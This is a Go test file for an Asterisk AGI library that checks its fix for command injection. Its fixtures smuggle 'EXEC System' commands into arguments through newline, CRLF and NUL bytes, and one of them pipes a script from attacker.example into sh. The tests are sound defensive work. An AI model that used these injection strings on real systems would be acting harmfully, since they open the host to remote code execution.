Repository navigation
Expand file tree
/
Copy pathcommand_test.go
More file actions
94 lines (81 loc) · 2.74 KB
/
Copy pathcommand_test.go
File metadata and controls
94 lines (81 loc) · 2.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package agi
import (
"bytes"
"errors"
"strings"
"testing"
)
// TestCommandRejectsProtocolDelimiters pins the fix for AGI command
// injection: an argument containing a line break or NUL byte must be
// rejected before anything reaches the AGI transport, otherwise it is
// framed as one or more additional, attacker-chosen AGI commands
// (e.g. "EXEC System <shell command>" on the Asterisk host).
func TestCommandRejectsProtocolDelimiters(t *testing.T) {
t.Parallel()
tests := []struct {
name string
args []string
}{
{
name: "newline in variable value injects EXEC System",
args: []string{"SET VARIABLE", "GREETING_NAME", "Voicemail User\nEXEC System curl -s http://attacker.example/pwn.sh | sh"},
},
{
name: "carriage return line feed in variable value",
args: []string{"SET VARIABLE", "GREETING_NAME", "user\r\nEXEC System pwn"},
},
{
name: "NUL byte in variable value",
args: []string{"SET VARIABLE", "GREETING_NAME", "user\x00EXEC System pwn"},
},
{
name: "newline in EXEC application name",
args: []string{"EXEC", "System\nHANGUP", "id"},
},
{
name: "newline in record file name",
args: []string{"RECORD FILE", "/tmp/greeting\x0aEXEC System pwn", "wav", "#"},
},
}
for _, tt := range tests {
tt := tt
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
var w bytes.Buffer
a := New(strings.NewReader("\n"), &w)
resp := a.Command(tt.args...)
if !errors.Is(resp.Error, ErrInvalidArgument) {
t.Fatalf("expected ErrInvalidArgument, got %v", resp.Error)
}
if w.Len() != 0 {
t.Fatalf("expected nothing written to the AGI transport, got %q", w.String())
}
})
}
}
func TestCommandAcceptsCleanArguments(t *testing.T) {
t.Parallel()
var w bytes.Buffer
// Constructed directly: NewWithEAGI's env scanner buffers ahead over the
// same reader, which would consume the queued response before Command reads it.
a := &AGI{Variables: make(map[string]string), r: strings.NewReader("200 result=1\n"), w: &w}
if err := a.Set("GREETING_NAME", "Voicemail User"); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got, want := w.String(), "SET VARIABLE GREETING_NAME Voicemail User\n"; got != want {
t.Fatalf("wrote %q, want %q", got, want)
}
}
// Verbose is the one API that pre-escapes its argument (strconv.Quote); it
// must keep working for messages containing line breaks.
func TestVerboseEscapesLineBreaks(t *testing.T) {
t.Parallel()
var w bytes.Buffer
a := &AGI{Variables: make(map[string]string), r: strings.NewReader("200 result=0\n"), w: &w}
if err := a.Verbose("multi\nline message", 1); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got, want := w.String(), `VERBOSE "multi\nline message" 1`+"\n"; got != want {
t.Fatalf("wrote %q, want %q", got, want)
}
}